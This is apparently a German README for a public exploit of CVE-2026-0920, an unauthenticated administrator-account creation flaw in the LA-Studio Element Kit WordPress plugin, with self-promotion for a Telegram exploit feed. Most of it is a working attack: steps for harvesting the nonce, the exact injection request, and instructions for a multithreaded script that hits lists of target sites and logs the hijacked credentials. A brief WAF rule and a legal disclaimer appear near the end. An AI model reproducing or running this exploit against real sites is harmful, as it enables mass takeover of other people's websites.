
- LA-Studio Element Kit for Elementor <= 1.5.6.3 - Nicht authentifizierte Rechteausweitung über eine Backdoor zur Erstellung von Administratorkonten über den Parameter lakit_bkrole
LA-Studio Element Kit für Elementor <= 1.5.6.3 - Nicht authentifizierte Privilegienerweiterung per Backdoor zur Erstellung von Administratorkonten über den Parameter lakit_bkrole
_____ _____ ___ __ ___ __ __ ___ ___ __
/ __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \
| (__ \ V /| _|___/ / () / // _ \___| () \_, // / () |
\___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/
📡 Der Exploit erscheint hier zuerst. Folge @KNxploited auf Telegram — dein Elite-Feed für frisch veröffentlichte CVEs, funktionierende PoCs und präzise Sicherheitsforschung. Unermüdlich aktualisiert. Entwickelt für alle, die immer einen Schritt voraus sind.
CVE-2026-0920 ist eine kritische CVSS-9.8-Schwachstelle, die im LA-Studio Element Kit for Elementor WordPress-Plugin entdeckt wurde.
Die Schwachstelle liegt in der Funktion ajax_register_handle(), die nicht authentifizierte Benutzerregistrierungen über AJAX verarbeitet. Die Funktion erzwingt keinerlei Einschränkung des Parameters lakit_bkrole – wodurch ein vollständig nicht authentifizierter Angreifer sich bei der Registrierung selbst die Rolle administrator zuweisen kann und mit einer einzigen Anfrage die vollständige Übernahme der WordPress-Administration erreicht.
Die Grundursache ist eine fehlende Rollen-Berechtigungsprüfung im AJAX-Registrierungshandler des Plugins:
// Registered with no authentication requirement
add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']);
public function ajax_register_handle() {
$actions = json_decode(stripslashes($_POST['actions']), true);
foreach ($actions as $req) {
if ($req['action'] === 'register') {
$data = $req['data'];
$user_data = [
'user_login' => $data['username'],
'user_pass' => $data['password'],
'user_email' => $data['email'],
'role' => $data['lakit_bkrole'], // ← ATTACKER CONTROLLED
];
// No validation of $data['lakit_bkrole'] against allowed roles
wp_insert_user($user_data); // Administrator created silently
}
}
}
Warum das kritisch ist:
wp_ajax_nopriv_* = für jeden ohne jegliche Authentifizierung zugänglichlakit_bkrole akzeptiert jede WordPress-Rollenzeichenfolge – einschließlich administratorStep 1 — Nonce Harvesting
──────────────────────────────────────────────────────────────────────
GET / (or /index.php, /home, /?page_id=1)
Search HTML/JS for:
"ajaxNonce": "<value>" ← Inline JSON config
ajaxNonce: '<value>' ← JS variable
data-ajaxnonce="<value>" ← HTML attribute
Nonce is publicly accessible — no login required.
↓
ajaxNonce extracted ✔️
──────────────────────────────────────────────────────────────────────
Step 2 — Admin Account Registration
──────────────────────────────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
action = lakit_ajax
_nonce = <extracted nonce>
actions = {
"req1": {
"action": "register",
"data": {
"email": "[email protected]",
"password": "adminSA",
"username": "Nx_admin",
"lakit_field_log": "yes", ← use supplied username
"lakit_field_pwd": "yes", ← use supplied password
"lakit_field_cpwd": "no", ← skip password confirm
"lakit_bkrole": "1", ← trigger admin role injection
"lakit_recaptcha_response": ""
}
}
}
↓
Administrator account silently created ✔️
──────────────────────────────────────────────────────────────────────
Step 3 — Full Admin Verification
──────────────────────────────────────────────────────────────────────
POST /wp-login.php
log = Nx_admin
pwd = adminSA
↓
Session cookies obtained → GET /wp-admin/plugin-install.php
↓
Plugin install page accessible = CONFIRMED FULL ADMIN ✔️
pip install requests colorama
| Abhängigkeit | Zweck |
|---|---|
requests | HTTP-Anfragen, Sitzungsverwaltung, Cookie-Verwaltung |
colorama |
Python 3.10+ wird empfohlen (verwendet
str | None-Union-Typ-Hinweise).
CVE-2026-0920/
├── CVE-2026-0920.py # Main exploit script
├── list.txt # Target URLs — one per line
├── success_results.txt # Auto-generated: pwned targets + credentials
Öffne CVE-2026-0920.py und bearbeite die Konstanten am Anfang der Datei, um die gewünschten Admin-Kontodaten festzulegen:
ADMIN_EMAIL = "[email protected]" # Email for the new admin account
ADMIN_PASSWORD = "adminSA" # Password for the new admin account
ADMIN_USERNAME = "Nx_admin" # Username for the new admin account
Erstelle list.txt mit einer Ziel-URL pro Zeile:
https://target1.com
https://target2.com
http://target3.com
URLs ohne Schema werden automatisch mit
https://ergänzt.
python CVE-2026-0920.py
Du wirst aufgefordert:
Enter targets list filename (e.g. list.txt): list.txt
Enter number of threads (1-50): 20
Das Skript erzeugt eine farbcodierte Echtzeitausgabe im Terminal:
[14:22:01] [*] https://target.com - Starting target
[14:22:02] [+] https://target.com - kay: a4f9c2b1e3
[14:22:02] [*] https://target.com - AJAX HTTP status: 200
[14:22:03] [+] https://target.com - AJAX response indicates success
[14:22:04] [*] https://target.com - Full admin verification: OK
============================================================
[ SUCCESS BLOCK ]
Site : https://target.com
Result : SUCCESS
AJAX OK : YES
FULL ADMIN : YES (login + plugin install access)
============================================================
| Farbe |
|---|
Erfolgreiche Exploits werden in success_results.txt geschrieben:
https://victim.com | USERNAME:Nx_admin | EMAIL:[email protected] | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3
Jede Zeile enthält das vollständige Bild: Ziel, Anmeldedaten, Anmeldestatus, AJAX-Antwortstatus und das verwendete Nonce.
Das Skript führt eine zweistufige Verifizierung durch, um Fehlalarme zu eliminieren:
Stage 1 — AJAX Response Analysis
Checks for success markers in the JSON response:
• "created successfully"
• "success":true
• "type":"success"
• "status":"success"
Stage 2 — Real Login + Plugin Install Access Test
1. POST /wp-login.php with injected credentials
2. GET /wp-admin/plugin-install.php
3. Confirm 200 response + plugin upload form present
4. Confirm no redirect back to wp-login.php
Only BOTH stages passing = TRUE SUCCESS reported
Dies eliminiert Fehlalarme, die durch Websites verursacht werden, die bei AJAX 200 OK zurückgeben, aber die Registrierung stillschweigend fehlschlagen lassen.
Der Exploit erzeugt dieses spezifische Netzwerkmuster – für Verteidiger und WAF-Autoren:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=lakit_ajax&_nonce=<VALUE>&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}}
WAF-/IDS-Regel (Pseudocode):
IF request.method == POST
AND request.path == "/wp-admin/admin-ajax.php"
AND request.body CONTAINS "lakit_ajax"
AND request.body CONTAINS "lakit_bkrole"
THEN BLOCK + ALERT (Privilege Escalation Attempt — CVE-2026-0920)
Wenn du Website-Betreiber, Entwickler oder Verteidiger bist, handle sofort:
admin-ajax.php, die lakit_bkrole enthalten, auf WAF-Ebenelakit_ajax-AJAX-AktionsaufrufeTHIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION
TESTING, AND SECURITY RESEARCH PURPOSES ONLY.
By downloading, executing, or modifying this script, you explicitly agree:
• You hold EXPLICIT, WRITTEN authorization from the owner of every
target system you test. No exceptions. No grey areas.
• You are operating within a formally scoped, authorized penetration
testing engagement or a controlled lab environment.
• You will NOT use this tool against any system, network, or
infrastructure without documented legal permission.
• Nxploited and all contributors bear ZERO liability for unauthorized
use, data loss, system damage, legal proceedings, or criminal
prosecution arising from the use of this tool.
Unauthorized use of this exploit constitutes a criminal offense under:
— Computer Fraud and Abuse Act (CFAA), USA
— Computer Misuse Act (CMA), UK
— EU Directive 2013/40/EU on Attacks Against Information Systems
— Saudi Arabia's Anti-Cyber Crime Law (No. M/17)
— And all equivalent national and international cybercrime legislation.
USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY.
| Handle | Nxploited |
| Telegram | @KNxploited |
| GitHub | github.com/Nxploited |
🔔 Folge @KNxploited auf Telegram Frische CVEs. Funktionierende Exploits. Tiefgehende Schwachstellenforschung. Zuerst informiert. Zuerst gehandelt. Nicht der Letzte sein.
| Feld | Details |
|---|
| CVE-ID | CVE-2026-0920 |
| Plugin | LA-Studio Element Kit for Elementor |
| Slug | lakit / la-studio-element-kit-for-elementor |
| Betroffene Versionen | Alle Versionen bis einschließlich 1.5.6.3 |
| Schwachstellentyp | Nicht authentifizierte Privilegienerweiterung / Admin-Erstellung |
| Angriffsvektor | Netzwerk — keine Authentifizierung erforderlich |
| CVSS-3.1-Score | 9.8 KRITISCH |
| CVSS-Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Auswirkung | Vollständige Übernahme der WordPress-Administration |
| Forscher | Nxploited |
| Farbige Terminalausgabe auf allen Plattformen |
threading | Parallele Verarbeitung mehrerer Ziele |
re | Regex-basierte Nonce-Extraktion aus HTML/JS |
| Bedeutung |
|---|
🔵 Cyan [*] | Information — Schritt in Bearbeitung |
🟢 Grün [+] | Positives Signal — teilweiser oder voller Erfolg |
🟡 Gelb [!] | Warnung — mehrdeutiges Ergebnis, Überprüfung erforderlich |
🔴 Rot [-] | Fehlgeschlagen — Ziel nicht ausnutzbar oder Fehler aufgetreten |
| Parameter | Standard | Beschreibung |
|---|
| Zieldatei | list.txt | Datei, die die Ziel-URLs enthält |
| Threads | 10 (max: 50) | Parallele Worker |
ADMIN_EMAIL | [email protected] | E-Mail für das injizierte Admin-Konto |
ADMIN_PASSWORD | adminSA | Passwort für das injizierte Admin-Konto |
ADMIN_USERNAME | Nx_admin | Benutzername für das injizierte Admin-Konto |